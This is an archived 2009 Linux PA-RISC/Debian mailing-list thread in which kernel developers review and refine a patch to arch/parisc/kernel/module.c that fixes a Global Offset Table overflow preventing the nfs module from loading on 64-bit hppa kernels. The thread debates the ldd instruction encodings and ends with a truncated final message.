Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Fri, 31 Jul 2009 21:49:50 -0400
Lines: 123
Approved: news@gmane.org
Message-ID: <119aab440907311849q597135a4t929a13d093021942@mail.gmail.com>
References: <119aab440907311413s2e5ef1ebl690fff1bc4f0daea@mail.gmail.com>
	 <20090731212634.737DB4CFD@hiauly1.hia.nrc.ca>
	 <119aab440907311500v14b192e7t8a244d9d3b2c482e@mail.gmail.com>
	 <20090731233828.GF26333@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1249091403 5231 80.91.229.12 (1 Aug 2009 01:50:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Aug 2009 01:50:03 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	elendil@planet.nl, 539378@bugs.debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	randolph@tausq.org, submit@bugs.debian.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 03:49:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MX3jO-0006j3-HU
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 03:49:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753045AbZHABtw convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 21:49:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753129AbZHABtw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 21:49:52 -0400
Original-Received: from mail-ew0-f214.google.com ([209.85.219.214]:60144 "EHLO
	mail-ew0-f214.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753045AbZHABtw convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 21:49:52 -0400
Original-Received: by ewy10 with SMTP id 10so1901376ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 31 Jul 2009 18:49:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=b8Sm5Ytg1mWLRWRxD/bEq0SEIvH5L0ET+A7nuWFkmDA=;
        b=jnyj/kN2f+DpCtmczK7nLZIhO4UAs6josG5NuAwvB/JhuD7IuLVZiGsNgVzQVAnSJs
         UXhrAW7D5TVJZuYdhIAdyr/tcjTLfL3sLdevGmA3Bxuyl0MH+syhSG7pvNb0D8Ap69bI
         CHoMTcNcHjyE/2Wta4dIG1PoiUcUgp1I/xgA4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=e4njnZ0fQReLuzQriSUwt+Tv8E0q/vRkPhmM2oaXJc0GCUvCEca3KkZMOeCIqUatb3
         TZoPqX7pL8aPn7QKQYJHkmCAeZEXzE5h38296JFEcmStTuKra5wTrrMIFhlZ2uJNco5z
         pRuzGpUmNH0VzXbXcIvb740FHvS+6JIZQdOv0=
Original-Received: by 10.216.91.21 with SMTP id g21mr625935wef.99.1249091391024; Fri, 
	31 Jul 2009 18:49:51 -0700 (PDT)
In-Reply-To: <20090731233828.GF26333@bombadil.infradead.org>
X-Google-Sender-Auth: 69f6354940169ec0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1977 gmane.linux.debian.ports.hppa:5915
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1977>

On Fri, Jul 31, 2009 at 7:38 PM, Kyle McMartin<kyle@mcmartin.ca> wrote:
> Is it as simple as:
>
> diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.=
c
> index ef5caf2..0502fab 100644
> --- a/arch/parisc/kernel/module.c
> +++ b/arch/parisc/kernel/module.c
> @@ -82,13 +82,6 @@
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0return -ENOEXEC; =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0\
> =A0 =A0 =A0 =A0}
>
> -/* Maximum number of GOT entries. We use a long displacement ldd fro=
m
> - * the bottom of the table, which has a maximum signed displacement =
of
> - * 0x3fff; however, since we're only going forward, this becomes
> - * 0x1fff, and thus, since each GOT entry is 8 bytes long we can hav=
e
> - * at most 1023 entries */
> -#define MAX_GOTS =A0 =A0 =A0 1023
> -
> =A0/* three functions to determine where in the module core
> =A0* or init pieces the location is */
> =A0static inline int in_init(struct module *me, void *loc)
> @@ -126,6 +119,14 @@ struct stub_entry {
> =A0};
> =A0#endif
>
> +/* Maximum number of GOT entries. We use a long displacement ldd fro=
m
> + * the bottom of the table, which has 16-bit signed displacement fro=
m
> + * %dp. Because we only use the forward direction, we're limited to
> + * 15-bits - 1, and because each GOT entry is 8-bytes wide, we're li=
mited
> + * to 4095 entries.
> + */
> +#define MAX_GOTS =A0 =A0 =A0 (((1 << 15) - 1) / sizeof(struct got_en=
try))
> +

OK

> =A0/* Field selection types defined by hppa */
> =A0#define rnd(x) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 (((x)+0x1000)&~0x1f=
ff)
> =A0/* fsel: full 32 bits */
> @@ -151,6 +152,15 @@ static inline int reassemble_14(int as14)
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0((as14 & 0x2000) >> 13));
> =A0}
>
> +/* Unusual 16-bit encoding, for wide mode only. =A0*/
> +static inline int reassemble_16a(int as16)
> +{
> + =A0 =A0 =A0 int s, t;
> + =A0 =A0 =A0 t =3D (as16 << 1) & 0xffff;
> + =A0 =A0 =A0 s =3D (as16 & 0x8000);
> + =A0 =A0 =A0 return (t ^ s ^ (s >> 1)) | (s >> 15);
> +}
> +

OK

> =A0static inline int reassemble_17(int as17)
> =A0{
> =A0 =A0 =A0 =A0return (((as17 & 0x10000) >> 16) |
> @@ -460,12 +470,16 @@ static Elf_Addr get_stub(struct module *me, uns=
igned long value, long addend,
> =A0*/
> =A0 =A0 =A0 =A0switch (stub_type) {
> =A0 =A0 =A0 =A0case ELF_STUB_GOT:
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 unsigned int d =3D get_got(me, value, a=
ddend) & 0x7fff;
> +
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0stub->insns[0] =3D 0x537b0000; =A0 =A0=
/* ldd 0(%dp),%dp =A0 =A0 =A0 */
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0stub->insns[1] =3D 0x53610020; =A0 =A0=
/* ldd 10(%dp),%r1 =A0 =A0 =A0*/
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0stub->insns[2] =3D 0xe820d000; =A0 =A0=
/* bve (%r1) =A0 =A0 =A0 =A0 =A0 =A0*/
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0stub->insns[3] =3D 0x537b0030; =A0 =A0=
/* ldd 18(%dp),%dp =A0 =A0 =A0*/
>
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 stub->insns[0] |=3D reassemble_14(get_g=
ot(me, value, addend) & 0x3fff);
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (d > 15)
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 stub->insns[0] |=3D rea=
ssemble_16a(d);
> +

You need to rewrite stub->insn[0[, the long format 3 ldd is a
different opcode, see the PA 2.0 manual, it will no longer be
0x537b0000.

You also still need a <=3D 15 byte case which uses the old short format
5 ldd with a 14-bit immediate.

> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0break;
> =A0 =A0 =A0 =A0case ELF_STUB_MILLI:
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0stub->insns[0] =3D 0x20200000; =A0 =A0=
/* ldil 0,%r1 =A0 =A0 =A0 =A0 =A0 */
>
> I don't think we need to worry about the initial 15-bytes displacemen=
t,
> since they're all within the first got_entry? (The resulting assembly
> looks alright from a 64-bit toolchain:

No, we still have to worry about the initial 15-bytes. Within the
first 15-bytes you have one GOT entry (%dp + 0) and thus you need to
add the case for the short format 3 ldd.

Thanks for hacking this up!

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Fri, 31 Jul 2009 21:51:17 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <119aab440907311851t502a208bh34b21b3f732e3e09@mail.gmail.com>
References: <4A73821A.4020506@gmx.de>
	 <20090801003740.8BBDE5160@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1249091489 5368 80.91.229.12 (1 Aug 2009 01:51:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Aug 2009 01:51:29 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, kyle@mcmartin.ca, elendil@planet.nl,
	539378@bugs.debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, randolph@tausq.org,
	submit@bugs.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 03:51:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MX3km-0006j3-KK
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 03:51:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753045AbZHABvS convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 21:51:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753129AbZHABvS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 21:51:18 -0400
Original-Received: from mail-ew0-f214.google.com ([209.85.219.214]:47801 "EHLO
	mail-ew0-f214.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753045AbZHABvS convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 21:51:18 -0400
Original-Received: by ewy10 with SMTP id 10so1901699ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 31 Jul 2009 18:51:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=OWCXxLvV2KAoTo/7tJfZTxEC8m744L+2i605ndKUZpM=;
        b=YjH0ppHToUrvmMW7/Wg6RQDKKYnpP/vX00oS/p1ySIW0l/1ohBBfXj9aoEarlzFRI1
         OCBWmXEgTk5L6j4nGDetIZmSkojy6tmIJcCFgkc9KW+Bv1CDjZfNZOrldVj5Xd5b+Shu
         jSE12SBOO1OjwJI83ir2P6z586VoFBgztSBao=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=kFltfYpoYk7nu58dzEQCmg1BX5jTpj/Zm/dfM4PH1OqvZcQkIcfPkypTlF23wyiuuz
         700ZzdoNdFEm2wGzSjCWG7JEwK5+d+ot9nzj3TFcbZTJrsjiAlGxUanVbjdHbBx+sPOE
         g3Zc1bQtXWF23GWtcGIUk9GU/rhu+gt4OoWck=
Original-Received: by 10.216.10.149 with SMTP id 21mr25200wev.56.1249091477662; Fri, 31 
	Jul 2009 18:51:17 -0700 (PDT)
In-Reply-To: <20090801003740.8BBDE5160@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 9bb8ae6395bdc05e
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1978 gmane.linux.debian.ports.hppa:5916
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1978>

On Thu, Jul 30, 2009 at 8:37 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
>> =A0 =A0 =A0 case ELF_STUB_GOT:
>> - =A0 =A0 =A0 =A0 =A0 =A0 stub->insns[0] =3D 0x537b0000; =A0 =A0/* l=
dd 0(%dp),%dp =A0 =A0 =A0 */
>> + =A0 =A0 =A0 =A0 =A0 =A0 stub->insns[0] =3D 0x537b0000; =A0 =A0/* l=
dd 0(%dp),%dp =A0 =A0 =A0 */
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 stub->insns[1] =3D 0x53610020; =A0 =A0/*=
 ldd 10(%dp),%r1 =A0 =A0 =A0*/
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 stub->insns[2] =3D 0xe820d000; =A0 =A0/*=
 bve (%r1) =A0 =A0 =A0 =A0 =A0 =A0*/
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 stub->insns[3] =3D 0x537b0030; =A0 =A0/*=
 ldd 18(%dp),%dp =A0 =A0 =A0*/
>>
>> - =A0 =A0 =A0 =A0 =A0 =A0 stub->insns[0] |=3D reassemble_14(get_got(=
me, value, addend) & 0x3fff);
>> + =A0 =A0 =A0 =A0 =A0 =A0 d =3D get_got(me, value, addend);
>> + =A0 =A0 =A0 =A0 =A0 =A0 if (d <=3D 15)
>> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 stub->insns[0] |=3D reasse=
mble_14(d);
>
> reassemble_14 is wrong for ldd format 3. =A0Need format 5 and im5 ins=
ertion.

This is using reassemble_14 for ldd format 5, which is correct.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Pop <elendil@planet.nl>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global =?utf-8?q?Offset=09Table?=
Date: Sat, 1 Aug 2009 10:08:58 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <200908011009.00725.elendil@planet.nl>
References: <119aab440907311413s2e5ef1ebl690fff1bc4f0daea@mail.gmail.com> <20090731233828.GF26333@bombadil.infradead.org> <4A73821A.4020506@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_cg/cK5bZA3H+kDJ"
X-Trace: ger.gmane.org 1249114158 9630 80.91.229.12 (1 Aug 2009 08:09:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Aug 2009 08:09:18 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	539378@bugs.debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, randolph@tausq.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 10:09:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MX9eQ-00032j-2Y
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 10:09:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751570AbZHAIJG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Aug 2009 04:09:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752256AbZHAIJG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 1 Aug 2009 04:09:06 -0400
Original-Received: from cpsmtpm-eml110.kpnxchange.com ([195.121.3.14]:61590 "EHLO
	CPSMTPM-EML110.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751498AbZHAIJC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Aug 2009 04:09:02 -0400
Original-Received: from aragorn.fjphome.nl ([84.85.147.182]) by CPSMTPM-EML110.kpnxchange.com with Microsoft SMTPSVC(7.0.6001.18000);
	 Sat, 1 Aug 2009 10:09:01 +0200
User-Agent: KMail/1.9.9
In-Reply-To: <4A73821A.4020506@gmx.de>
X-OriginalArrivalTime: 01 Aug 2009 08:09:01.0249 (UTC) FILETIME=[53F98B10:01CA127F]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1979 gmane.linux.debian.ports.hppa:5918
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1979>

--Boundary-00=_cg/cK5bZA3H+kDJ
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

tags 539378 patch
thanks

On Saturday 01 August 2009, Helge Deller wrote:
> Kyle, you beat me.
> Attached is my patch ....
>
> Tested and works.

Works for me too. Cool.

Your patch contained a few whitespace errors and, because of that, one 
unnecessary change. Attached a version with those cleaned up.

Thanks,
FJP


--Boundary-00=_cg/cK5bZA3H+kDJ
Content-Type: text/x-diff;
  charset="utf-8";
  name="got.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
	filename="got.patch"

parisc: module.c - fix GOT table overflow with large kernel modules on 64 bit kernels

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index ef5caf2..d291bf9 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -86,8 +86,12 @@
  * the bottom of the table, which has a maximum signed displacement of
  * 0x3fff; however, since we're only going forward, this becomes
  * 0x1fff, and thus, since each GOT entry is 8 bytes long we can have
- * at most 1023 entries */
-#define MAX_GOTS	1023
+ * at most 1023 entries.
+ * To overcome this 14bit displacement with some kernel modules, we'll
+ * use instead the unusal 16bit displacement method (see reassemble_16a)
+ * which gives us a maximum positive displacement of 0x7fff, and as such
+ * allows us to allocate up to 4095 GOT entries. */
+#define MAX_GOTS	4095
 
 /* three functions to determine where in the module core
  * or init pieces the location is */
@@ -151,6 +155,16 @@ static inline int reassemble_14(int as14)
 		((as14 & 0x2000) >> 13));
 }
 
+static inline int reassemble_16a(int as16)
+{
+	int s, t;
+
+	/* Unusual 16-bit encoding, for wide mode only. */
+	t = (as16 << 1) & 0xffff;
+	s = (as16 & 0x8000);
+	return (t ^ s ^ (s >> 1)) | (s >> 15);
+}
+
 static inline int reassemble_17(int as17)
 {
 	return (((as17 & 0x10000) >> 16) |
@@ -407,6 +421,7 @@ static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
 	enum elf_stub_type stub_type, Elf_Addr loc0, unsigned int targetsec)
 {
 	struct stub_entry *stub;
+	int d;
 
 	/* initialize stub_offset to point in front of the section */
 	if (!me->arch.section[targetsec].stub_offset) {
@@ -465,7 +480,12 @@ static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
 		stub->insns[2] = 0xe820d000;	/* bve (%r1)		*/
 		stub->insns[3] = 0x537b0030;	/* ldd 18(%dp),%dp	*/
 
-		stub->insns[0] |= reassemble_14(get_got(me, value, addend) & 0x3fff);
+		d = get_got(me, value, addend);
+		if (d <= 15)
+			stub->insns[0] |= reassemble_14(d);
+		else
+			stub->insns[0] |= reassemble_16a(d);
+
 		break;
 	case ELF_STUB_MILLI:
 		stub->insns[0] = 0x20200000;	/* ldil 0,%r1		*/

--Boundary-00=_cg/cK5bZA3H+kDJ--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset
	Table
Date: Sat, 1 Aug 2009 09:53:20 -0400
Organization: nrc.ca
Lines: 38
Approved: news@gmane.org
Message-ID: <20090801135319.GA13949@hiauly1.hia.nrc.ca>
References: <4A73821A.4020506@gmx.de> <20090801003740.8BBDE5160@hiauly1.hia.nrc.ca> <119aab440907311851t502a208bh34b21b3f732e3e09@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1249134820 25485 80.91.229.12 (1 Aug 2009 13:53:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Aug 2009 13:53:40 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, kyle@mcmartin.ca, elendil@planet.nl,
	539378@bugs.debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, randolph@tausq.org,
	submit@bugs.debian.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 15:53:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MXF1e-0003BJ-2Z
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 15:53:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750706AbZHANx0 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Aug 2009 09:53:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751246AbZHANx0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 1 Aug 2009 09:53:26 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2211 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750706AbZHANxZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Aug 2009 09:53:25 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D5E0D4E0B; Sat,  1 Aug 2009 09:53:21 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440907311851t502a208bh34b21b3f732e3e09@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1980 gmane.linux.debian.ports.hppa:5920
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1980>

On Fri, 31 Jul 2009, Carlos O'Donell wrote:

> >> + =A0 =A0 =A0 =A0 =A0 =A0 if (d <=3D 15)
> >> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 stub->insns[0] |=3D reas=
semble_14(d);
> >
> > reassemble_14 is wrong for ldd format 3. =A0Need format 5 and im5 i=
nsertion.
>=20
> This is using reassemble_14 for ldd format 5, which is correct.

Huh?  Format 5 has a five bit immediate and it's not compatible with
reassemble_14.  The value is actually being stuffed into a format 3 ldd
pattern (i.e., format 3 is being used for displacements 0 and 8).

If format 3 is going to be used for short displacements, then use
reassemble_16a as it is the inverse to the assemble_16a operation
described in the arch.  Using reassemble_14 with ldd is confusing.

As you pointed out, the arch shows using format 5 for short displacemen=
ts.
It's unclear whether there is a performance or functional difference as=
ide
from the behavior of space selection.  There may be no requirement for
hardware to implement short displacements using format 3.

Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Sat, 1 Aug 2009 15:07:13 -0400 (EDT)
Lines: 126
Approved: news@gmane.org
Message-ID: <20090801190715.0929A500B@hiauly1.hia.nrc.ca>
References: <20090801003740.8BBDE5160@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249153659 5826 80.91.229.12 (1 Aug 2009 19:07:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Aug 2009 19:07:39 +0000 (UTC)
Cc: deller@gmx.de, kyle@mcmartin.ca, carlos@systemhalted.org,
	elendil@planet.nl, 539378@bugs.debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	randolph@tausq.org, submit@bugs.debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 21:07:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MXJvV-0003Nv-Ri
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 21:07:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752045AbZHATHZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Aug 2009 15:07:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752046AbZHATHZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 1 Aug 2009 15:07:25 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2225 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752045AbZHATHY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Aug 2009 15:07:24 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0929A500B; Sat,  1 Aug 2009 15:07:14 -0400 (EDT)
In-Reply-To: <20090801003740.8BBDE5160@hiauly1.hia.nrc.ca> from "John David Anglin" at Jul 31, 2009 08:37:39 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1981 gmane.linux.debian.ports.hppa:5922
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1981>

> >  	case ELF_STUB_GOT:
